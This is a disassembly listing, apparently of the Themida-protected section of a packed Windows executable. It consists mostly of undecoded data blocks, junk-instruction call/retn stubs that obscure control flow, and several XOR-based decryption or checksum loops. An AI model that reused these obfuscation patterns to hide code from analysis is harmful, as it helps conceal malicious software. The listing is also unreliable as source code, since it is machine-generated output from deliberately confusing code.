		dd 64FCF1C3h, 35FFh, 0FE80000h,	51000000h, 5A68553h, 0D6691C6Ah
		dd 0FA881487h, 0B70F3CBAh, 89645FF8h, 25h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 9BD8978h, 0FF0AE318h, 0E31C1585h, 55006A0Ah,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FEF31AAh
		dd 683h, 61BD2900h, 6A0AE31Dh, 53006AFFh, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0A8E97480h
		dd 4BD37024h, 8B52CF68h, 0E30019BDh, 0B5FF5F0Ah, 0AE319A9h
		dd 95FFFB8Bh, 0AE3007Dh, 10BE9h, 198D8900h, 0B00AE310h
		dd 880F00h, 0E6000000h,	0C19D8970h, 570AE31Eh, 0DE8h, 0D2258A00h
		dd 0B3D71224h, 0F1A579D4h, 6160692Ah, 71E45F5Fh, 613CFC8Ah
		dd 0D2830Fh, 8B660000h,	0C8B60FD9h, 925BB66h, 6BAh, 0D59D0900h
		dd 290AE328h, 0E322958Dh, 0FC18B0Ah, 58Bh, 69B5BB00h, 0E8C11E30h
		dd 7E904h, 0F360000h, 68997582h, 0E2F766DDh, 2B2DD780h
		dd 66D18BC8h, 0E92FC9BFh, 88h, 858BD98Bh, 1, 0E907C083h
		dd 0Ah,	18BA9E7Fh, 8C91A267h, 0C083B913h, 0DE900h, 66490000h
		dd 0BBF0DACAh, 0C8B550C2h, 3B47CCACh, 19830FD0h, 29000000h
		dd 0E31DF585h, 46E90Ah,	9E90000h, 0C8000000h, 0F5BA0D85h
		dd 3D2A4D92h, 0FFFF8D8Bh, 0BF66FFFFh, 0E183BAAEh, 25840F01h
		dd 8B000000h, 0FFA583DAh, 0FEFFFFFFh, 0ACD9D8Bh, 95890AE3h
		dd 1, 6419D0Bh,	81660AE3h, 0E9B7C6EFh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+0AE776D0h]
		push	0
		push	ecx
		call	sub_5D1D99
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1D99	proc near		; CODE XREF: Themida_:005D1D91p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D1D99	endp

; ---------------------------------------------------------------------------
		push	edi
		push	edi
		add	ebx, 1FD0853Dh
		pop	ebx
		and	ebx, [ebp+0AE32D5Dh]
		push	0
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	eax
		call	sub_5D1DCB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1DCB	proc near		; CODE XREF: Themida_:005D1DC3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5D1DCB	endp

; ---------------------------------------------------------------------------
		shl	byte ptr [esi],	cl
		clc
		mov	ecx, 10E7h
		push	0
		push	ecx
		call	sub_5D1DEE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1DEE	proc near		; CODE XREF: Themida_:005D1DE6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5D1DEE	endp

; ---------------------------------------------------------------------------
		dw 9A7Ch
		dd 6637F8DBh, 817B01BBh, 0C65F57CBh, 0FCE1835Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0EBC35545h, 235B529h
		dd 6AFC0AE3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 9A39C356h, 8B392DF6h, 0FE48636h
		dd 687h, 7D8D8900h, 0B80AE312h,	0
; ---------------------------------------------------------------------------
		add	[ebp+0AE32D15h], edx
		sub	edx, edx
		mov	ebx, [ebp+0AE30425h]


loc_5D1E76:				; CODE XREF: Themida_:005D1E80j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D1E76
		mov	edi, [ebp+0AE30729h]
		mov	[ebp+0AE32965h], edi
		jge	loc_5D1E97
		movzx	ebx, di


loc_5D1E97:				; CODE XREF: Themida_:005D1E8Ej
		or	eax, 88h
		sub	[ebp+0AE333C9h], edi
		mov	edx, [ebp+0AE31479h]
		mov	di, 0FBA1h
		mov	bx, dx
		mov	ecx, [ebp+0AE306C9h]
		jmp	loc_5D1EC1
; ---------------------------------------------------------------------------
		dw 0E94Bh
		dd 55CBE75h
		db 38h
; ---------------------------------------------------------------------------


loc_5D1EC1:				; CODE XREF: Themida_:005D1EB5j
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		pusha
		mov	ax, 0B7F4h
		mov	ebx, [ebp+0AE30281h]
		popa
		cmp	dword ptr [ebp+0AE31F61h], 0
		jz	loc_5D1F5A
		push	eax
		pop	ebx
		mov	eax, 0
		push	0
		push	edx
		call	sub_5D1EFE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1EFE	proc near		; CODE XREF: Themida_:005D1EF6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5D1EFE	endp

; ---------------------------------------------------------------------------
		dw 5ECFh
; ---------------------------------------------------------------------------
		rcr	dword ptr [ecx-6Bh], cl
		or	[ebp+0AE324E5h], edi
		ja	loc_5D1F25
		xor	edi, 6AD5FC7Ch


loc_5D1F25:				; CODE XREF: Themida_:005D1F19j
		mov	bx, 0ACCAh
		lea	ecx, [ebp+0AE34E6Eh]
		and	bx, 55A4h
		clc


loc_5D1F35:				; CODE XREF: Themida_:005D1F56j
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D1F42
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1F42	proc near		; CODE XREF: Themida_:005D1F3Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5D1F42	endp

; ---------------------------------------------------------------------------
		xor	esp, edx
		or	al, 68h
		jbe	short loc_5D1F35
		popf
		pop	ecx


loc_5D1F5A:				; CODE XREF: Themida_:005D1EE6j
		cmp	dword ptr [ebp+0AE30069h], 0
		jz	loc_5D22E2
		push	0
		push	ecx
		call	sub_5D1F72
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1F72	proc near		; CODE XREF: Themida_:005D1F6Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5D1F72	endp

; ---------------------------------------------------------------------------
		push	ebx
		lea	ebx, [ecx+3Fh]
		mov	bx, dx
		cmp	dword ptr [ebp+0AE30069h], 1
		jz	loc_5D22FD
		mov	[ebp+0AE32FD9h], edx
		cmp	dword ptr [ebp+0AE30069h], 3
		jbe	loc_5D22C7
		jmp	loc_5D1FB5
; ---------------------------------------------------------------------------
		dw 705Dh
		dd 0C7628DB2h
		db 89h
; ---------------------------------------------------------------------------


loc_5D1FB5:				; CODE XREF: Themida_:005D1FA9j
		xor	ebx, [ebp+0AE31F91h]
		pusha
		jl	$+6
		mov	cx, ds
		jmp	loc_5D1FD9
; ---------------------------------------------------------------------------
		sbb	[edi+4Bh], dl
		cld
		inc	esi
		retf
; ---------------------------------------------------------------------------
		dd 0FBACA562h, 5DCDD457h
		db 11h
; ---------------------------------------------------------------------------


loc_5D1FD9:				; CODE XREF: Themida_:005D1FC5j
		and	cl, 4
		push	0
		push	ebp
		call	sub_5D1FE7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1FE7	proc near		; CODE XREF: Themida_:005D1FDFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D1FE7	endp

; ---------------------------------------------------------------------------
		db 58h
		dd 0F550C86Eh, 0FC90A5Fh, 0C584h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 8951518Ch
		dd 0E31A499Dh, 8B5F5F0Ah, 0E31FD185h, 52006A0Ah, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0DABF0F31h, 1E458533h, 8D890AE3h, 0AE303ADh,	0F88B6650h
		dd 29240489h, 0E32CF595h, 21BD230Ah, 6A0AE310h,	81BD8B00h
		dd 0E80AE318h, 4, 1F03FFh, 8BDE8B50h, 0F042444h, 58Bh
		dd 8B665600h, 8B5BFAh, 4489FD8Ah, 8B660424h, 0FFF958F9h
		dd 0E31A4595h, 81F7810Ah, 893A8258h, 0E6D62A85h, 68D0F0Ah
		dd 9000000h, 0E31B8D95h, 899D8B0Ah, 0E90AE31Ch,	18Fh, 858BDF8Bh
		dd 0AE6D622h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	99C35545h, 14E9F051h, 78000000h, 0CBABC179h, 3E299CD1h
		dd 83C3CA59h, 9C0B6EEDh, 66F47F6Bh, 0C78C26BBh,	1800h
		dd 0BE900h, 340B0000h, 41158113h, 929CC49Eh, 26B58B4Eh
		dd 6A0AE6D6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6630C351h, 858BDF8Bh, 0AE325D1h
		dd 0DA8B6660h, 183D8D09h, 89610AE3h, 0E5858906h, 8B0AE310h
		dd 0E31FD185h, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0FD073306h, 93F90B11h
		dd 6A044689h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 140CC353h, 0C999F4FFh,	5EC78056h
		dd 0DF8B6696h, 0A3BB6650h, 0BE996D7h, 4F000000h, 6F7B428Ah
		dd 785CE3DAh, 0B5FF814Ch, 0AE6D622h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 4BC35646h, 71296850h, 0BB667353h
		dd 3481B949h, 4C72D624h, 73BF6673h, 2A858DA1h, 900AE6D6h
		dd 0D98B6650h, 6060505Bh, 0BE8D18Bh, 6A000000h,	2DE06BAFh
		dd 0B75D83F3h, 615F4893h, 43D7BF66h, 9D8B9061h,	0AE328E1h
		dd 1A4595FFh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 60183DC3h, 61F98AC1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 5FC35141h, 0B0F78166h
		dd 6985C71Ch, 30AE300h,	0F000000h, 0BD83DFB7h, 0AE6D62Ah
		dd 34840F00h, 0F000000h, 385h, 0DF8B6600h, 41E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BF0FA93Eh, 3D8589F8h
		db 1Fh,	0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_5D22C7:				; CODE XREF: Themida_:005D1FA3j
					; Themida_:005D22DEj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D22C7
		jmp	short loc_5D2318
; ---------------------------------------------------------------------------


loc_5D22E2:				; CODE XREF: Themida_:005D1F61j
					; Themida_:005D22F9j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D22E2
		jmp	short loc_5D2318
; ---------------------------------------------------------------------------


loc_5D22FD:				; CODE XREF: Themida_:005D1F90j
					; Themida_:005D2314j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D22FD
		jmp	short $+2


loc_5D2318:				; CODE XREF: Themida_:005D22E0j
					; Themida_:005D22FBj
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5D2325
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2325	proc near		; CODE XREF: Themida_:005D231Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5D2325	endp

; ---------------------------------------------------------------------------
		db 50h,	0D1h, 1Bh
		dd 0C47631F3h, 850F5A34h, 6, 0AE98589h,	0CCB30AE3h, 353BD781h
		dd 0BD8346EAh, 0AE30069h, 0D7850F03h, 66000003h, 83B498BFh
		dd 0E6D62ABDh, 840F000Ah, 3C6h,	6840Fh,	0BD8B0000h, 0AE304ADh
		dd 0D62AB5FFh, 8B660AE6h, 1595FFF9h, 6A0AE333h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 3EE2C355h, 2D69855Ch, 16C58D09h, 0B58B0AE3h,	0AE6D61Eh
		dd 2398501h, 6C70AE3h, 10001h, 13E9h, 0C2081500h, 80BA764Fh
		dd 4DCD444Fh, 0BD91B50Bh, 674C1612h, 66536050h,	615EF28Bh
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 295AC357h, 13E019Ch, 0E329B595h
		dd 2AB5FF0Ah, 0B30AE6D6h, 0BD95FF38h, 0F0AE320h, 688h
		dd 0E1BD0300h, 8B0AE30Fh, 0E6D61EB5h, 0F1BD8B0Ah, 8B0AE328h
		dd 0E3105985h, 51006A0Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0D4C496ECh, 0BD8B3BD8h
		dd 0AE31271h, 0C48689h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 4ECDD7C3h, 98C45ADFh
		dd 0D381CE73h, 243E42BFh, 2B8B77BFh, 79958B28h,	6A0AE314h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 13A9C357h, 83D3ECA4h, 0BD8B04C2h,	0AE332CDh
		dd 6A205089h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 8FDCC352h, 0C16BDE79h,	0C5B509A5h
		dd 0E90AE315h, 0Fh, 885D1A2Fh, 0C403CB2Dh, 4F987063h, 8DC84E4Ch
		dd 0E6E8B385h, 56006A0Ah, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0B8868937h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 4E3FC351h, 69C378F9h, 81062203h, 0D377DDEBh
		dd 6A006A71h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0A94AC350h, 7010E83Dh,	22659D8Bh
		dd 0B5FF0AE3h, 0AE6D62Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0DAC35545h, 9D5E314Bh, 0FFDF125Ch, 0E31E7195h
		dd 56006A0Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 52D855DFh, 33D8B70Fh, 0E31D3D9Dh, 0BB52500Ah
		dd 155272DCh, 2434895Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 0FBC35141h, 0DE8B2037h, 0D62AB5FFh, 87B30AE6h
		dd 236995FFh, 81660AE3h, 83F05FC3h, 0E317ADBDh,	840F000Ah
		dd 37h,	0BE950h, 64D0000h, 5E8B01D3h, 969EC3F7h, 24348976h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2CC35242h
		dd 53EA9DB4h, 0FF6F6694h, 0E6D62AB5h, 8E90Ah, 86220000h
		dd 97064928h, 95FFF9DEh, 0AE30295h, 5830Fh, 81660000h
		dd 0FF488DF7h, 0E6D62AB5h, 0DDBD8B0Ah, 0FF0AE317h, 0E311DD95h
		dd 0FEB70F0Ah, 197DBD83h, 0F020AE3h, 5E84h, 0CCC38100h
		dd 8B10AEAAh, 0E31A6585h, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 435BD272h
		dd 0E1BD8BADh, 0C60AE332h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0CC146BC3h
		dd 18F77DAFh, 0B59D8B3Ah, 0C70AE321h, 0E3211D85h, 0Ah
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 3D55524Ah, 0BFADF0FCh, 2E862052h, 28C0F52h
		dd 8B000000h, 0E95FDAh,	8BFFFFF5h, 0ED23BFC1h, 858D4ABEh
		dd 0AE32FFDh, 18898509h, 60900AE3h, 0B9FD8A60h,	2DF26E29h
		dd 0B3BE6661h, 605061DCh, 8EB15250h, 585A310Fh,	0CE8h
		dd 0D897B000h, 0C5BFD3A4h, 0D10A6573h, 5B6160CDh, 6A9061h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 2928CDC3h, 0E30AA99Dh, 6850F0Ah, 8B000000h, 0E318DD9Dh
		dd 6A006A0Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 66B9C352h, 42A7DB81h, 15CD9D89h
		dd 6A0AE3h, 6E4EBB66h, 51E858Dh, 46BF0AE8h, 8316C256h
		dd 0B70F05C0h, 0E38166F8h, 50905D21h, 4BBB6652h, 66310FADh
		dd 585AD88Bh, 1F880F50h, 0F000000h, 198Bh, 13E800h, 0AFAF0000h
		dd 923AB6E6h, 3071EDCCh, 6A830A3Fh, 0C366C00Ah,	6A905BBFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 5144C356h, 9D033675h, 0AE31D79h, 12E8006Ah
		dd 2E000000h, 745AAF33h, 623013Bh, 24010259h, 6CA3F97Bh
		dd 6A5FF6h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 19h,	4C35141h, 0B1FC0C96h, 6995899Ah, 0FF0AE330h, 0E314E995h
		dd 12E80Ah, 17F40000h, 4BAE749Fh, 0D6B88545h, 0F3874B80h
		dd 0C54E937Dh, 8D8D5BF9h, 0AE6D5CAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0D4C35040h,	0FAEA3B3h, 68Eh
		dd 0F5B53100h, 0FF0AE305h, 56006AD1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 7DEC0E61h
		dd 19D1BD8Bh, 840F0AE3h, 6, 1A5DBD8Bh, 0BD830AE3h, 0AE32269h
		dd 0F1850F01h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 70FBC355h, 72CCE960h
		dd 6C62104Ah, 0B34AC781h, 26A7A4Eh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0F5C35747h,	0EFC57325h, 0E8BEFB35h
		dd 13h,	0DC358639h, 1330D574h, 4E4AD8DDh, 311D1C5Eh, 0E9ECCB78h
		dd 11h,	0F9D37EBBh, 35AE768Bh, 3C648C74h, 0A1057717h, 66505F0Bh
		dd 89367ABBh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 6F77B1C3h, 0FCCEFA6h, 0C8Eh, 6800F00h
		dd 8B000000h, 0E310A1BDh, 7195FF0Ah, 6A0AE31Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0AEAAC352h, 0C797F561h, 7E860A4h, 0C6000000h, 395096A0h
		dd 5FF9AA90h, 0F0DE9h, 0E800h, 815D0000h, 0E80528EDh, 53006A0Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8D89EE5Ah, 0AE31B1Dh, 16DD8509h, 6A0AE3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 67E84AC3h
		dd 1B830Fh, 14E80000h, 0F000000h, 360899D5h, 68D26195h
		dd 4D1A3CCh, 0F27D6044h, 0FC722AE0h, 3E858D5Bh,	6A0AE6C1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0C299C357h, 0DD5F65F6h, 0F78086CCh, 860F500Eh
		dd 2, 489FEB3h,	0BE666024h, 0C58A7403h,	0FF64F961h, 35h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 82350470h, 89645713h, 25h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 890FA3DFh, 0
; ---------------------------------------------------------------------------
		inc	dword ptr [ebp+0AE31C15h]
		push	0
		push	ebp
		call	sub_5D2B2D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2B2D	proc near		; CODE XREF: Themida_:005D2B25p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5D2B2D	endp

; ---------------------------------------------------------------------------
		db 4, 78h, 0A4h
		dd 0B776E8F3h, 8BFF6AA1h, 0E311E19Dh, 99BD8B0Ah, 0FF0AE322h
		dd 0E31859B5h, 51006A0Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 80E4C757h, 95FFADCBh
		dd 0AE3007Dh, 11EE9h, 0BDBD8B00h, 0B00AE32Eh, 0CDB58900h
		dd 0E60AE30Ah, 0B98D8970h, 0E40AE311h, 0C3816671h, 613CFD41h
		dd 0F9830Fh, 8B660000h,	0C8B60FFBh, 0BA45C380h,	6, 7E9h
		dd 7C74E500h, 7A1A3AEEh, 320600BFh, 60C18B5Ah, 99D09h
		dd 81660AE3h, 61D0CFDBh, 8B04E8C1h, 0E31BAD9Dh,	0E2F7660Ah
		dd 62DCBF66h, 8589C82Bh, 0AE3353Dh, 0FE8D18Bh, 0F8000000h
		dd 0F8299E0Ch, 39361445h, 0E26EA8Eh, 0EE9FEABh,	13000000h
		dd 0FF5BAE04h, 19828B35h, 7E2B44ADh, 84E95BC3h,	0E9000000h
		dd 8, 6E242E04h, 0E6B0D1Ch, 8858Bh, 66570000h, 835FFA8Bh
		dd 0BD8B07C0h, 0AE31441h, 12E8h, 0B17F4E00h, 9E2C931Bh
		dd 831ABDC9h, 0E43CE3FAh, 5BCDF19Eh, 8900C083h,	0E3101D9Dh
		dd 0FD03B0Ah, 0E83h, 0F9B53100h, 0E90AE32Fh, 2Fh, 8BD88B66h
		dd 0FFFFFF8Dh, 835F56FFh, 840F01E1h, 1Bh, 0A81FF781h, 0A5831A3Dh
		dd 0FFFFFFFFh, 0FAB70FFEh, 89589h, 0E90000h, 8D000000h
		dd 0E787B7B5h, 2D9D8B0Ah, 6A0AE302h, 0C7816600h, 95FFED38h
		dd 0AE31CD1h, 23119D8Bh, 0B0B90AE3h, 6A00000Fh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5D42C357h, 9A98B520h, 0FCE1838Fh, 3505BD89h,	81FC0AE3h
		dd 0AEF5EEEBh, 6AC02B4Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 86FAC351h, 0B9852CB0h
		dd 0CE9ACh, 0D79C0000h,	3D91358Dh, 74048140h, 0E380853Dh
		dd 6AD22BD5h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0EC39C356h, 5850916h, 0F0AE31Eh
		dd 33ADFABFh, 3E8D1C2h,	4E983D0h, 6AF5F475h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 72A3C352h, 89576DE7h, 0E3005985h, 0E8505F0Ah, 11h, 87F0367Dh
		dd 5EF87C1Eh, 75CD5C86h, 4D290DBAh, 0BD8D892Fh,	5B0AE314h
		dd 880D5Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0CA5A0DC3h, 5087D206h, 60440580h
		dd 294D9529h, 89610AE3h, 0E306DDB5h, 79958B0Ah,	6A0AE314h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0C9F6C350h, 75201DC5h, 0FAE793Fh,	683h, 0BB665200h
		dd 8B5BA9ABh, 0E306C98Dh, 25BD8B0Ah, 500AE31Bh,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0BD8B5058h, 0AE31FD5h
		dd 55006A5Fh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 3CDCA8Bh, 1F68BBA6h, 1F61BD83h, 0F000AE3h
		dd 3484h, 99C78100h, 0B85A7139h, 0
		dd 4860Fh, 0BB660000h, 8D8D63BFh, 0AE34E6Eh, 0DE8h, 0BE464900h
		dd 73687FAFh, 0F1A4C69Eh, 0BF66D31Bh, 0FF5B219Fh, 69BD83E1h
		dd 0AE300h, 52D840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 5D7803C3h, 4C50E32Eh
		dd 80F30719h, 0BD83FBD7h, 0AE30069h, 13840F01h,	6A000005h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 63E9C357h, 69BD83h, 0F030AE3h, 4B386h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0A5B7FEBEh, 1E999D01h, 66600AE3h, 8D89D98Ch,	0AE3003Dh
		dd 0E804E180h, 11h, 37D659F2h, 4A696895h, 705D9225h, 0C7628DB2h
		dd 0FE889h, 0C920000h, 0CECC0538h, 0DF2183Fh, 0F64A5071h
		dd 55E7811Dh, 5B6EA3E5h, 0FC90A5Bh, 1B384h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 445E838h, 43AD9E68h,	953139DFh, 0AE30259h, 1201BD8Bh
		dd 858B0AE3h, 0AE31FD1h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0C35545h, 4203496Fh, 4585337Ah, 6A0AE31Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0ACDAC355h, 3937AAC6h, 8BB4655Dh,	0E315899Dh
		dd 12E8900Ah, 0C4000000h, 87906C25h, 9B5E077Eh,	259F8E94h
		dd 92F2C7D5h, 10E874h, 1A10000h, 0AD9D49h, 0E6710BA9h
		dd 26C26950h, 52504E96h, 585A310Fh, 53505B5Bh, 0CEA258BBh
		dd 6A905F07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0DCF7C355h, 0A6D6963Eh, 5C6B190h
		dd 6A006AFCh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0C4AFC355h, 17DD8D89h,	4E80AE3h
		dd 0FF000000h, 66001F03h, 5350DA8Bh, 8B5B14B7h,	8B042444h
		dd 8B665300h, 44895FDEh, 5F500424h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D89C49Ah
		dd 0AE3022Dh, 1A4595FFh, 6A0AE3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 723902C3h, 0BBF972B5h
		dd 461CF159h, 0D62A8589h, 1EE90AE6h, 6A000002h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0AF0CC355h, 0C3715E3Dh, 0C3B043B0h, 0D622858Bh, 6A0AE6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 98BEAC3h, 0C438E55Eh, 58F38086h, 1800C7h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 7226A6C3h, 8839180Ch, 19A5BD03h, 0B58B0AE3h,	0AE6D626h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 51C35040h
		dd 9B0BAB81h, 858B4583h, 0AE325D1h, 0B270BB66h,	6A0689h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B70FB7C3h, 5E9FFh, 0FB170000h, 8B87C7D0h, 0E31FD185h
		dd 51006A0Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 50D922DCh, 131C54A2h, 89AADB80h,	0B5890446h
